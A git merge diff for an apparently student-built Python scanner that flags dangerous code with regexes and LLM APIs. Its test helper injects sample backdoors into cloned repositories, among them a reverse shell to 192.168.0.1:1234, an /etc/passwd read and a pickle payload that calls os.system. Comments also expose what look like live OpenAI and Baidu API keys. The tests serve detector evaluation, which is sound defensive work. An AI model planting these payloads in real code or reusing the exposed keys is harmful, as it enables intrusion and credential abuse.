Merge pull request 'tests/final-tests 完成最终代码' (#34) from tests/final-tests into main

Reviewed-on: #34
Reviewed-by: dqy <dqy@noreply.localhost>
This commit is contained in:
sangge 2024-06-09 13:09:49 +08:00
commit c3ed3e166e
12 changed files with 737 additions and 304 deletions

2
.gitignore vendored
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@ -159,4 +159,4 @@ cython_debug/
# and can be added to the global gitignore or merged into this file. For a more nuclear # and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder. # option (not recommended) you can uncomment the following to ignore the entire idea folder.
.idea/ .idea/
tmp/

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@ -1,8 +1,11 @@
import json import json
import os import os
import threading
import time
from .utils import * from .utils import *
import openai import openai
import signal # import signal
class TimeoutException(Exception): class TimeoutException(Exception):
@ -22,10 +25,10 @@ def detectGPT(content: str):
raise ValueError("env OPENAI_API_KEY no set") raise ValueError("env OPENAI_API_KEY no set")
# Set alarm timer # Set alarm timer
signal.signal(signal.SIGTERM, timeout_handler) # signal.signal(signal.SIGTERM, timeout_handler)
signal.alarm(10) # signal.alarm(10)
client = openai.OpenAI(api_key=api_key) client = openai.OpenAI(base_url="https://api.kpi7.cn/v1", api_key=api_key)
text = content text = content
# client = openai.OpenAI(api_key="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") #测试用key # client = openai.OpenAI(api_key="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") #测试用key
response = client.chat.completions.create( response = client.chat.completions.create(
@ -33,15 +36,17 @@ def detectGPT(content: str):
{ {
"role": "system", "role": "system",
"content": "You are a Python code reviewer.Read the code below and identify any potential security vulnerabilities. Classify them by risk level (high, medium, low, none). Only report the line number and the risk level.\nYou should output the result as json format in one line. For example: " "content": "You are a Python code reviewer.Read the code below and identify any potential security vulnerabilities. Classify them by risk level (high, medium, low, none). Only report the line number and the risk level.\nYou should output the result as json format in one line. For example: "
'[{"Line": {the line number}, "Risk": "{choose from (high,medium,low)}","Reason":"{how it is vulnable}"}] Each of these three field is required.\n' '[{"Line": {the line number}, "Risk": "{choose from (high,medium,low)}","Reason":"{how it is vulnable}"}] Each of these three field is required.\n'
"You are required to only output the json format. Do not output any other information.\n", "You are required to only output the json format. Do not output any other information.请注意:只对有具体危害的代码片段判定为有风险。\n"
"For examples:\nos.system('ls'),subprocess.call(['ls', '-l']),subprocess.call([\"/bin/sh\",\"-i\"]),eval(code),exec(code) and so on.\n"
"Please IGNORE the risks that dont matter a lot.",
}, },
{ {
"role": "user", "role": "user",
"content": text, "content": text,
}, },
], ],
model="gpt-3.5-turbo", model="gpt-4o",
) )
try: try:
message_content = response.choices[0].message.content message_content = response.choices[0].message.content
@ -55,12 +60,46 @@ def detectGPT(content: str):
except TimeoutException: except TimeoutException:
raise TimeoutException("The api call timed out") raise TimeoutException("The api call timed out")
finally: # finally:
signal.alarm(0) # signal.alarm(0)
classified_results = {"high": [], "medium": [], "low": [], "none": []} classified_results = {"high": [], "medium": [], "low": [], "none": []}
for res in res_json: for res in res_json:
classified_results[res["Risk"]].append( try:
(res["Line"], text.split("\n")[res["Line"] - 1].strip()) classified_results[res["Risk"]].append(
) (res["Line"], text.split("\n")[res["Line"] - 1].strip())
)
except IndexError:
pass
return classified_results return classified_results
def GPTdetectFileList(fileList):
# print(len(fileList))
results = {"high": [], "medium": [], "low": [], "none": []}
threads = []
for file in fileList:
content = read_file_content(str(file))
threads.append(threading.Thread(target=GPTThread, args=(str(file), content, results)))
for thread in threads:
thread.start()
time.sleep(0.1)
for thread in threads:
thread.join()
return results
def GPTThread(filename, content, results):
try:
res = detectGPT(content)
# print(res)
for key in res:
if key != "none": # Exclude 'none' risk level
results[key].extend(
[
(f"{filename}: Line {line_num}", line)
for line_num, line in res[key]
]
)
except Exception as e:
print(e)

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@ -12,7 +12,7 @@ def find_dangerous_functions(
r"\bexec\(": "high", r"\bexec\(": "high",
r"\bpopen\(": "medium", r"\bpopen\(": "medium",
r"\beval\(": "high", r"\beval\(": "high",
r"\bsubprocess\.run\(": "medium", r"\bsubprocess": "medium",
r"\b__getattribute__\(": "high", r"\b__getattribute__\(": "high",
r"\bgetattr\(": "medium", r"\bgetattr\(": "medium",
r"\b__import__\(": "high", r"\b__import__\(": "high",
@ -34,6 +34,7 @@ def find_dangerous_functions(
r"\bos\.kill\b": "high", r"\bos\.kill\b": "high",
r"\bos\.popen\b": "medium", r"\bos\.popen\b": "medium",
r"\bos\.spawn\b": "medium", r"\bos\.spawn\b": "medium",
r"\bsubprocess": "medium",
}, },
} }
risk_patterns = patterns.get(file_extension, {}) risk_patterns = patterns.get(file_extension, {})
@ -43,7 +44,9 @@ def find_dangerous_functions(
clean_line = remove_comments(line, file_extension) clean_line = remove_comments(line, file_extension)
if not clean_line: if not clean_line:
continue continue
# 消除换行符,避免影响正则匹配
clean_line = clean_line.replace("\\n", "")
for pattern, risk_level in risk_patterns.items(): for pattern, risk_level in risk_patterns.items():
if re.search(pattern, clean_line): if re.search(pattern, clean_line, re.MULTILINE | re.DOTALL):
classified_results[risk_level].append((line_number, clean_line)) classified_results[risk_level].append((line_number, clean_line))
return classified_results return classified_results

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@ -1,10 +1,17 @@
import json
import os import os
from typing import Dict, List, Tuple, Optional from typing import Dict, List, Tuple, Optional
from reportlab.lib.pagesizes import letter from reportlab.lib.pagesizes import letter
from reportlab.lib.styles import getSampleStyleSheet from reportlab.lib.styles import getSampleStyleSheet
from reportlab.platypus import Paragraph, Spacer, SimpleDocTemplate from reportlab.platypus import Paragraph, Spacer, SimpleDocTemplate
from detection.pickle_detection import pickleDataDetection
from .requirements_detection import requirement_detection
from .Regexdetection import find_dangerous_functions from .Regexdetection import find_dangerous_functions
from .GPTdetection import detectGPT from .GPTdetection import detectGPT, GPTdetectFileList
# from .cngptdetection import detectGPT,GPTdetectFileList
from .pyc_detection import disassemble_pyc from .pyc_detection import disassemble_pyc
from .utils import * from .utils import *
import sys import sys
@ -14,7 +21,7 @@ from pathlib import Path
PYCDC_FLAG = True PYCDC_FLAG = True
PYCDC_ADDR_FLAG = True PYCDC_ADDR_FLAG = True
SUPPORTED_EXTENSIONS = {".py", ".js", ".cpp", ".pyc"} SUPPORTED_EXTENSIONS = {".py", ".js", ".cpp", ".pyc",".pkl",".pickle"}
OUTPUT_FORMATS = ["html", "md", "txt", "pdf"] OUTPUT_FORMATS = ["html", "md", "txt", "pdf"]
ORDERS = [ ORDERS = [
"__import__", "__import__",
@ -26,6 +33,8 @@ ORDERS = [
"__getattribute__", "__getattribute__",
"getattr", "getattr",
"child_process", "child_process",
"kill",
"fork",
] ]
# Initialize colorama # Initialize colorama
@ -102,9 +111,15 @@ def generate_text_content(results: Dict[str, List[Tuple[int, str]]]) -> str:
text_output = "Security Analysis Report\n" text_output = "Security Analysis Report\n"
text_output += "=" * 30 + "\n\n" text_output += "=" * 30 + "\n\n"
# text_output+= "chatGPT检测结果\n\n"
for risk_level, entries in results.items(): for risk_level, entries in results.items():
if entries and risk_level != "none": # print(risk_level, entries)
if risk_level == "pickles":
text_output += f"Pickles:\n"
for i in entries:
text_output += f" {i['file']}:{json.dumps(i['result'])}\n"
elif entries and risk_level != "none":
risk_color = ( risk_color = (
{ {
"high": Fore.RED, "high": Fore.RED,
@ -359,9 +374,14 @@ def checkModeAndDetect(mode: str, filePath: str, fileExtension: str, pycdc_addr:
def process_path( def process_path(
path: str, output_format: str, mode: str, pycdc_addr: str, output_file=None path: str,
output_format: str,
mode: str,
pycdc_addr: str,
output_file=None,
requirement_path=None,
): ):
results = {"high": [], "medium": [], "low": [], "none": []} results = {"high": [], "medium": [], "low": [], "none": [], "pickles": []}
if os.path.isdir(path): if os.path.isdir(path):
# 使用rglob获取所有文件 # 使用rglob获取所有文件
all_files = [ all_files = [
@ -369,25 +389,37 @@ def process_path(
for file_path in Path(path).rglob("*") for file_path in Path(path).rglob("*")
if file_path.suffix in SUPPORTED_EXTENSIONS if file_path.suffix in SUPPORTED_EXTENSIONS
] ]
print(all_files)
# 扫描动画 if mode == "llm":
for file_path in tqdm(all_files, desc="Scanning files", unit="file"): results = GPTdetectFileList(all_files)
file_extension = file_path.suffix else:
file_results = checkModeAndDetect( # 扫描动画
mode, str(file_path), file_extension, pycdc_addr for file_path in tqdm(all_files, desc="Scanning files", unit="file"):
) file_extension = file_path.suffix
if file_results is not None: # print(file_extension)
for key in file_results: if file_extension in [".pkl",".pickle"]:
if key != "none": # Exclude 'none' risk level # print("识别到pickle")
results[key].extend( res = pickleDataDetection(str(file_path), output_file)
[ results["pickles"].append({"file": str(file_path), "result": res})
(f"{file_path}: Line {line_num}", line) continue
for line_num, line in file_results[key] file_results = checkModeAndDetect(
] mode, str(file_path), file_extension, pycdc_addr
) )
if file_results is not None:
for key in file_results:
if key != "none": # Exclude 'none' risk level
results[key].extend(
[
(f"{file_path}: Line {line_num}", line)
for line_num, line in file_results[key]
]
)
elif os.path.isfile(path): elif os.path.isfile(path):
file_extension = os.path.splitext(path)[1] file_extension = os.path.splitext(path)[1]
if file_extension in SUPPORTED_EXTENSIONS: if file_extension in [".pkl", ".pickle"]:
res = pickleDataDetection(str(path), output_file)
results["pickles"].append({"file": str(path), "result": res})
elif file_extension in SUPPORTED_EXTENSIONS:
file_results = checkModeAndDetect(mode, path, file_extension, pycdc_addr) file_results = checkModeAndDetect(mode, path, file_extension, pycdc_addr)
if file_results is not None: if file_results is not None:
for key in file_results: for key in file_results:
@ -404,7 +436,8 @@ def process_path(
else: else:
print("Invalid path.") print("Invalid path.")
sys.exit(1) sys.exit(1)
if requirement_path is not None:
requirement_detection(requirement_path, output_file)
output_results(results, output_format, output_file) output_results(results, output_format, output_file)
@ -420,7 +453,22 @@ def main():
"-m", "--mode", help="Mode of operation:[regex,llm]", default="regex" "-m", "--mode", help="Mode of operation:[regex,llm]", default="regex"
) )
parser.add_argument( parser.add_argument(
"-p", "--pycdc", help="Path to pycdc.exe to decompile", default=None "-p",
"--pycdc",
help="Path to pycdc.exe to decompile",
default=os.getenv("PATH"),
)
parser.add_argument(
"-P",
"--Pickle",
help="Path to pickle file to analyze",
default=None,
)
parser.add_argument(
"-r",
"--requirement",
help="Path to requirement file to analyze",
default=None,
) )
args = parser.parse_args() args = parser.parse_args()
output_format = "txt" # Default output format output_format = "txt" # Default output format
@ -437,7 +485,9 @@ def main():
) )
output_file = args.output.rsplit(".", 1)[0] + ".txt" output_file = args.output.rsplit(".", 1)[0] + ".txt"
# 如果未指定输出文件,则输出到 stdout否则写入文件 # 如果未指定输出文件,则输出到 stdout否则写入文件
process_path(args.path, output_format, args.mode, args.pycdc, output_file) process_path(
args.path, output_format, args.mode, args.pycdc, output_file, args.requirement
)
if PYCDC_FLAG == False: if PYCDC_FLAG == False:
print( print(
"ERROR: Detected Python 3.11 or above .pyc files. You need to install pycdc and compile it yourself to obtain pycdc." "ERROR: Detected Python 3.11 or above .pyc files. You need to install pycdc and compile it yourself to obtain pycdc."

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@ -1,16 +1,21 @@
import os import os
import threading
import time
import requests import requests
import re import re
import json import json
from typing import List, Dict, Any from typing import List, Dict, Any
from detection.utils import read_file_content
class TimeoutException(Exception): class TimeoutException(Exception):
"""自定义异常用于处理超时情况。""" """自定义异常用于处理超时情况。"""
pass pass
def detectGPT(content: str) -> str: def detectGPT(content: str,token:str):
""" """
检测给定的代码内容中的潜在安全漏洞 检测给定的代码内容中的潜在安全漏洞
@ -20,15 +25,8 @@ def detectGPT(content: str) -> str:
返回: 返回:
- 分类后的漏洞信息的JSON字符串 - 分类后的漏洞信息的JSON字符串
""" """
api_key = os.getenv("BAIDU_API_KEY")
secret_key = os.getenv("BAIDU_SECRET_KEY")
#api_key = "DUBWNIrB6QJLOsLkpnEz2ZZa"
#secret_key = "9WK4HIV2n9r1ePPirqD4EQ6Ea33rH1m7"
if not api_key or not secret_key:
raise ValueError("BAIDU_API_KEY or BAIDU_SECRET_KEY is not set")
url = "https://aip.baidubce.com/rpc/2.0/ai_custom/v1/wenxinworkshop/chat/ernie-4.0-8k-0329?access_token=" + get_access_token( url = "https://aip.baidubce.com/rpc/2.0/ai_custom/v1/wenxinworkshop/chat/ernie-4.0-8k-0329?access_token=" + token
api_key, secret_key)
payload = json.dumps({ payload = json.dumps({
"messages": [ "messages": [
@ -63,6 +61,7 @@ def detectGPT(content: str) -> str:
classified_results = {"high": [], "medium": [], "low": [], "none": []} classified_results = {"high": [], "medium": [], "low": [], "none": []}
for res in extracted_data: for res in extracted_data:
# print(res)
try: try:
line_number = int(res["Line"]) line_number = int(res["Line"])
classified_results[res["Risk"]].append( classified_results[res["Risk"]].append(
@ -71,7 +70,7 @@ def detectGPT(content: str) -> str:
except (ValueError, IndexError, KeyError): except (ValueError, IndexError, KeyError):
continue continue
return json.dumps(classified_results, indent=2, ensure_ascii=False) return classified_results
def get_access_token(api_key: str, secret_key: str) -> str: def get_access_token(api_key: str, secret_key: str) -> str:
@ -110,4 +109,41 @@ def extract_json_from_text(text: str) -> List[Dict[str, Any]]:
print(f"解码 JSON 时出错: {e}") print(f"解码 JSON 时出错: {e}")
return [] return []
return data return data
def GPTdetectFileList(fileList):
api_key = os.getenv("BAIDU_API_KEY")
secret_key = os.getenv("BAIDU_SECRET_KEY")
# api_key = "DUBWNIrB6QJLOsLkpnEz2ZZa"
# secret_key = "9WK4HIV2n9r1ePPirqD4EQ6Ea33rH1m7"
if not api_key or not secret_key:
raise ValueError("BAIDU_API_KEY or BAIDU_SECRET_KEY is not set")
# print(len(fileList))
results = {"high": [], "medium": [], "low": [], "none": []}
threads = []
token = get_access_token(api_key, secret_key)
# print(token)
for file in fileList:
content = read_file_content(str(file))
threads.append(threading.Thread(target=GPTThread, args=(str(file), content, results,token)))
for thread in threads:
thread.start()
time.sleep(0.5)
for thread in threads:
thread.join()
return results
def GPTThread(filename, content, results,token):
res = detectGPT(content,token)
# print(res)
for key in res:
if key != "none": # Exclude 'none' risk level
results[key].extend(
[
(f"{filename}: Line {line_num}", line)
for line_num, line in res[key]
]
)

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@ -142,11 +142,7 @@ def pickleDataDetection(filename: str, output_file=None):
pickscan = pickleScanner(file) pickscan = pickleScanner(file)
pickscan.load() pickscan.load()
res = pickscan.output() res = pickscan.output()
if output_file: return res
with open(output_file, "w") as file:
json.dump(res, file, indent=4)
else:
print(json.dumps(res))
if __name__ == "__main__": if __name__ == "__main__":

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@ -1,5 +1,4 @@
from typing import List, Tuple from typing import List, Tuple
import uncompyle6
import io import io
import os import os
import subprocess import subprocess
@ -39,11 +38,7 @@ def disassemble_pyc(file_path: str, pycdc_addr=None) -> str:
str: The disassembled code as a string. str: The disassembled code as a string.
""" """
output = io.StringIO() output = io.StringIO()
try: if pycdc_addr is None:
uncompyle6.main.decompile_file(file_path, output) return "none"
return output.getvalue() else:
except Exception as e: return run_pycdc(pycdc_addr, file_path)
if pycdc_addr is None:
return "none"
else:
return run_pycdc(pycdc_addr, file_path)

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@ -1,279 +1,268 @@
import re
import os
import requests
import argparse import argparse
import requests
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
from typing import List, Tuple, Optional from packaging.version import Version, InvalidVersion
from packaging import version import sys
from packaging.specifiers import SpecifierSet
from reportlab.lib.pagesizes import letter from reportlab.lib.pagesizes import letter
from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer
from colorama import Fore, Style, init
from tqdm import tqdm
import html
import os
def fetch_html(url: str) -> Optional[str]: init(autoreset=True) # 初始化colorama并在每次打印后自动重置颜色
"""Fetch HTML content from the specified URL.
Args:
url (str): URL to fetch HTML from.
Returns: def fetch_html(url: str) -> str:
Optional[str]: HTML content as a string, or None if fetch fails. try:
""" response = requests.get(url)
response = requests.get(url) response.raise_for_status()
if response.status_code == 200:
return response.text return response.text
return None except requests.RequestException as e:
print(f"Error fetching {url}: {e}")
return ""
def parse_html(html: str) -> List[Tuple[str, List[str]]]: def parse_html(html: str) -> list:
"""Parse HTML to get content of all 'a' and 'span' tags under the second 'td' of each 'tr'.
Args:
html (str): HTML content as a string.
Returns:
List[Tuple[str, List[str]]]: A list of tuples containing the text of 'a' tags and lists of 'span' texts.
"""
soup = BeautifulSoup(html, "html.parser") soup = BeautifulSoup(html, "html.parser")
table = soup.find("table", id="sortable-table") table = soup.find("table", id="sortable-table")
if not table:
return []
rows = table.find_all("tr", class_="vue--table__row")
results = [] results = []
if table: for row in rows:
rows = table.find("tbody").find_all("tr") info = {}
for row in rows: link = row.find("a")
tds = row.find_all("td") chip = row.find("span", class_="vue--chip__value")
if len(tds) >= 2: if link and chip:
a_tags = tds[1].find_all("a") info["link"] = link.get_text(strip=True)
span_tags = tds[1].find_all("span") info["chip"] = chip.get_text(strip=True)
spans = [span.text.strip() for span in span_tags] results.append(info)
for a_tag in a_tags:
results.append((a_tag.text.strip(), spans))
return results return results
def format_results(results: List[Tuple[str, List[str]]]) -> str: def load_requirements(file_path: str) -> list:
"""Format extracted data as a string. requirements = []
try:
Args: with open(file_path, "r") as file:
results (List[Tuple[str, List[str]]]): Extracted data to format. for line in file:
line = line.strip()
Returns: if line and not line.startswith("#"):
str: Formatted string of the extracted data. requirements.append(line)
""" except FileNotFoundError:
formatted_result = "" print(f"Error: File {file_path} not found.")
for package_name, version_ranges in results: sys.exit(1)
formatted_result += f"Package Name: {package_name}\n"
formatted_result += "Version Ranges: " + ", ".join(version_ranges) + "\n"
formatted_result += "-" * 50 + "\n"
return formatted_result
def trans_vulnerable_packages(content):
"""将漏洞版本中的集合形式转换为大于小于的格式
Args:
content (str): 漏洞版本汇总信息.
"""
vulnerabilities = {}
blocks = content.split("--------------------------------------------------")
range_pattern = re.compile(r"\[(.*?),\s*(.*?)\)")
for block in blocks:
name_match = re.search(r"Package Name: (.+)", block)
if name_match:
package_name = name_match.group(1).strip()
ranges = range_pattern.findall(block)
specifier_list = []
for start, end in ranges:
if start and end:
specifier_list.append(f">={start},<{end}")
elif start:
specifier_list.append(f">={start}")
elif end:
specifier_list.append(f"<{end}")
if specifier_list:
vulnerabilities[package_name] = SpecifierSet(",".join(specifier_list))
return vulnerabilities
def format_vulnerabilities(vuln_packages):
"""将字典形式的漏洞信息格式化
Args:
vuln_packages (List[Tuple[str, List[str]]]): Extracted data to format.
"""
res = ""
for package, specifiers in vuln_packages.items():
res += f"Package Name: {package}\n"
res += f"Version Ranges: {specifiers}\n"
res += "-" * 50 + "\n"
return res
def load_requirements(filename):
"""从文件加载项目的依赖信息"""
with open(filename, "r", encoding="utf-8") as file:
lines = file.readlines()
requirements = {}
for line in lines:
if "==" in line:
package_name, package_version = line.strip().split("==")
requirements[package_name] = package_version
return requirements return requirements
def check_vulnerabilities(requirements, vulnerabilities, output_file): def version_in_range(version, range_str: str) -> bool:
"""检查依赖项是否存在已知漏洞,并输出结果""" if version is not None:
results_warning = [] # 存储有漏洞的依赖 try:
results_ok = [] # 存储没有漏洞的依赖 v = Version(version)
except InvalidVersion:
for req_name, req_version in requirements.items(): return False
if req_name in vulnerabilities:
spec = vulnerabilities[req_name]
if version.parse(req_version) in spec:
results_warning.append(
f"WARNING: {req_name}=={req_version} is vulnerable!"
)
else:
results_ok.append(f"OK: {req_name}=={req_version} is not affected.")
else:
results_ok.append(
f"OK: {req_name} not found in the vulnerability database."
)
# 合并结果,先输出所有警告,然后输出所有正常情况
results = results_warning + results_ok
# print(results)
if output_file:
filename, ext = os.path.splitext(output_file)
output_format = ext[1:] if ext[1:] else "txt"
if output_format not in ["txt", "md", "html", "pdf"]:
print("Warning: Invalid file format specified. Defaulting to TXT format.")
output_format = "txt" # 确保使用默认格式
output_file = filename + ".txt"
output_results(output_file, results, output_format)
else: else:
print("\n".join(results)) if range_str[-2] == ",":
return True
ranges = range_str.split(",")
for range_part in ranges:
range_part = range_part.strip("[]()")
if range_part:
try:
if range_part.endswith(")"):
upper = Version(range_part[:-1])
if v >= upper:
return False
elif range_part.startswith("["):
lower = Version(range_part[1:])
if v < lower:
return False
except InvalidVersion:
return False
return True
def trans_vulnerable_packages_to_dict(content): def check_vulnerabilities(requirements: list, base_url: str) -> str:
"""将漏洞信息转换为字典格式 results = []
Args: for req in tqdm(requirements, desc="Checking vulnerabilities", unit="dependency"):
content str: 漏洞信息汇总. version = ""
if "==" in req:
package_name, version = req.split("==")
else:
package_name, version = req, None
url = f"{base_url}{package_name}"
# print(f"\nFetching data for {package_name} from {url}")
html_content = fetch_html(url)
if html_content:
extracted_data = parse_html(html_content)
if extracted_data:
relevant_vulns = []
for vuln in extracted_data:
if version_in_range(version, vuln["chip"]):
relevant_vulns.append(vuln)
if relevant_vulns:
result = f"Vulnerabilities found for {package_name}:\n"
for vuln in relevant_vulns:
result += f" - {vuln['link']}\n"
results.append(result)
return "\n".join(results)
def save_to_file(output_path: str, data: str):
if output_path.endswith(".html"):
save_as_html(output_path, data)
elif output_path.endswith(".pdf"):
save_as_pdf(output_path, data)
elif output_path.endswith(".md"):
save_as_markdown(output_path, data)
else:
save_as_txt(output_path, data)
def save_as_html(output_path: str, data: str):
escaped_data = html.escape(data)
html_content = f"""
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" href="https://s2.loli.net/2024/05/30/WDc6MekjbuCU9Qo.png">
<title>Vulnerability Report</title>
<style>
body {{
font-family: Arial, sans-serif;
background-image: url('https://s2.loli.net/2024/05/30/85Mv7leB2IRWNp6.jpg');
background-size: cover;
color: #333;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}}
.container {{
background: rgba(255, 255, 255, 0.8);
border-radius: 10px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
max-width: 800px;
width: 100%;
margin: 20px;
overflow-y: auto;
max-height: 90vh;
}}
.title {{
font-size: 24px;
font-weight: bold;
text-align: center;
margin-bottom: 20px;
}}
pre {{
white-space: pre-wrap;
word-wrap: break-word;
font-size: 14px;
line-height: 1.5;
color: #333;
background: #f4f4f4;
padding: 10px;
border-radius: 5px;
border: 1px solid #ddd;
overflow: auto;
font-weight: bold;
}}
</style>
</head>
<body>
<div class="container">
<div class="title">Vulnerability Report</div>
<pre>{escaped_data}</pre>
</div>
</body>
</html>
""" """
vulnerabilities = {} with open(output_path, "w", encoding="utf-8") as file:
blocks = content.split("--------------------------------------------------") file.write(html_content)
for block in blocks:
name_match = re.search(r"Package Name: (.+)", block)
range_match = re.search(r"Version Ranges: (.+)", block)
if name_match and range_match:
package_name = name_match.group(1).strip()
version_range = range_match.group(1).strip()
version_range = ",".join(
[part.strip() for part in version_range.split(",")]
)
vulnerabilities[package_name] = SpecifierSet(version_range)
return vulnerabilities
def output_pdf(results, file_name): def save_as_pdf(output_path: str, data: str):
doc = SimpleDocTemplate(file_name, pagesize=letter) doc = SimpleDocTemplate(output_path, pagesize=letter)
story = [] story = []
styles = getSampleStyleSheet() styles = getSampleStyleSheet()
# Custom styles # Add the title centered
title_style = styles["Title"] title_style = ParagraphStyle(
title_style.alignment = 1 # Center alignment "Title",
parent=styles["Title"],
warning_style = ParagraphStyle( alignment=1, # Center alignment
"WarningStyle", parent=styles["BodyText"], fontName="Helvetica-Bold" fontSize=24,
leading=28,
spaceAfter=20,
fontName="Helvetica-Bold",
) )
normal_style = styles["BodyText"]
# Add the title
title = Paragraph("Vulnerability Report", title_style) title = Paragraph("Vulnerability Report", title_style)
story.append(title) story.append(title)
story.append(Spacer(1, 20)) # Space after title
# Iterate through results to add entries # Normal body text style
for result in results: normal_style = ParagraphStyle(
if "WARNING:" in result: "BodyText", parent=styles["BodyText"], fontSize=12, leading=15, spaceAfter=12
# Add warning text in bold )
entry = Paragraph(
result.replace("WARNING:", "<b>WARNING:</b>"), warning_style
)
else:
# Add normal text
entry = Paragraph(result, normal_style)
story.append(entry) # Add the vulnerability details
story.append(Spacer(1, 12)) # Space between entries for line in data.split("\n"):
if line.strip(): # Skip empty lines
story.append(Paragraph(line, normal_style))
doc.build(story) doc.build(story)
def output_results(filename, results, format_type): def save_as_markdown(output_path: str, data: str):
"""根据指定的格式输出结果""" with open(output_path, "w") as file:
output_dir = os.path.dirname(filename) file.write("## Vulnerability Report: \n\n")
if not os.path.exists(output_dir): file.write(data)
os.makedirs(output_dir)
with open(filename, "w", encoding="utf-8") as file:
if format_type == "html":
file.write("<html><head><title>Vulnerability Report</title></head><body>\n")
file.write("<h1>Vulnerability Report</h1>\n")
for result in results:
file.write(f"<p>{result}</p>\n")
file.write("</body></html>")
elif format_type == "md":
file.write("# Vulnerability Report\n")
for result in results:
file.write(f"* {result}\n")
elif format_type == "pdf":
output_pdf(results, filename)
else: # 默认为txt
for result in results:
file.write(f"{result}\n")
print("Results have been saved as " + filename)
def main(): def save_as_txt(output_path: str, data: str):
parser = argparse.ArgumentParser( with open(output_path, "w") as file:
description="Check project dependencies for vulnerabilities." file.write("Vulnerability Report: \n\n")
) file.write(data)
parser.add_argument(
"requirements_file", help="Path to the requirements file of the project"
)
parser.add_argument(
"-o",
"--output",
help="Output file path with extension, e.g., './output/report.txt'",
)
args = parser.parse_args()
base_url = "https://security.snyk.io/vuln/pip/"
page_number = 1
crawler_results = ""
while True:
url = f"{base_url}{page_number}"
print(f"Fetching data from {url}")
html_content = fetch_html(url)
if not html_content:
print("No more data found or failed to fetch.")
break
extracted_data = parse_html(html_content)
if not extracted_data:
print("No relevant data found on page.")
break
crawler_results += format_results(extracted_data)
page_number += 1
print("Results have been stored in memory.\n")
trans_res = trans_vulnerable_packages(crawler_results)
trans_res = format_vulnerabilities(trans_res)
trans_res = trans_vulnerable_packages_to_dict(trans_res)
requirements = load_requirements(args.requirements_file)
check_vulnerabilities(requirements, trans_res, args.output)
if __name__ == "__main__": def print_separator(title, char="-", length=50, padding=2):
main() print(f"{title:^{length + 4*padding}}") # 居中打印标题两侧各有padding个空格
print(char * (length + 2 * padding)) # 打印分割线两侧各有padding个字符的空格
def modify_file_name(file_path: str) -> str:
"""
Modify the file name by adding '-re' before the file extension.
Args:
file_path (str): The original file path.
Returns:
str: The modified file path.
"""
directory, file_name = os.path.split(file_path)
name, ext = os.path.splitext(file_name)
new_file_name = f"{name}-re{ext}"
new_file_path = os.path.join(directory, new_file_name)
return new_file_path
def requirement_detection(requirement_path, output_path=None):
base_url = "https://security.snyk.io/package/pip/"
requirements = load_requirements(requirement_path)
results = check_vulnerabilities(requirements, base_url)
if output_path is not None:
new_path = modify_file_name(output_path)
save_to_file(new_path, results)
print(f"Vulnerability scan complete. Results saved to {output_path}")
print(f"Requirements scan complete. Results saved to {new_path}")
else:
print_separator("\nVulnerability Report", "=", 40, 5)
print(results)

View File

@ -3,6 +3,5 @@ requests
packaging packaging
openai openai
bs4 bs4
uncompyle6
colorama colorama
tqdm tqdm

View File

@ -38,7 +38,6 @@ setup(
"packaging", "packaging",
"openai", "openai",
"bs4", "bs4",
"uncompyle6",
"tqdm", "tqdm",
"colorama", "colorama",
], ],

159
tests/final_tests_util.py Normal file
View File

@ -0,0 +1,159 @@
from typing import Tuple, List
from git import Repo # type: ignore
import random
from pathlib import Path
import pickle
import os
import py_compile
def clone_repo(repo_url: str, clone_dir: str) -> None:
"""
Clone a Git repository to the specified directory.
Args:
repo_url (str): The URL of the Git repository to clone.
clone_dir (str): The directory where the repository should be cloned.
"""
try:
Repo.clone_from(repo_url, clone_dir, depth=1)
except Exception as e:
print(f"Error cloning repository: {e}")
# a return type of backdoor. Include injected file name and number.
def inject_random_backdoor(
path: str, sample_rate: float = 0.1
) -> Tuple[Tuple[str, int], ...]:
"""
Insert random backdoor into the path.
Args:
path (str): The path to the repository to insert the backdoor into.
pickle (bool): Whether to insert a backdoor into a pickle file.
pyc (bool): Whether to insert a backdoor into a compiled Python file.
"""
project_path = Path(path)
all_python_files = list(project_path.rglob("*.py"))
injected_python_files = []
for python_file in all_python_files:
# sample files to inject backdoor
if random.random() < sample_rate:
injected_python_files.append(python_file)
injectedNum = len(injected_python_files)
results: List[Tuple[str, int]] = []
# inject backdoor
for python_file in injected_python_files:
with open(python_file, "r+", errors="ignore") as f:
lines = f.readlines()
total_lines = len(lines)
inject_line_number = random.randint(0, total_lines)
# choose random backdoor
inject_code = random.choice(backdoors)
lines.insert(inject_line_number, inject_code + "\n")
f.seek(0)
f.writelines(lines)
results.append((str(python_file), inject_line_number))
return tuple(results)
# 示例1: 通过 os.system 执行命令
backdoor1 = """import os
os.system('ls')"""
# 示例2: 通过 subprocess 模块执行命令
backdoor2 = """import subprocess
subprocess.call(['ls', '-l'])"""
# 示例3: 打开一个反向 shell
backdoor3 = """import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])"""
# 示例4: 通过 eval 执行任意代码
backdoor4 = """code = "print('Hello, World!')"
eval(code)"""
# 示例5: 通过 exec 执行任意代码
backdoor5 = """code = '''
import os
os.system('ls')
'''
exec(code)"""
# 示例7: 读取并显示文件内容
backdoor7 = """with open('/etc/passwd', 'r') as file:
data = file.read()
print(data)"""
backdoors = [
backdoor1,
backdoor2,
backdoor3,
backdoor4,
backdoor5,
backdoor7,
]
backdoors_pickle = [
b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.',
b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.',
b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.',
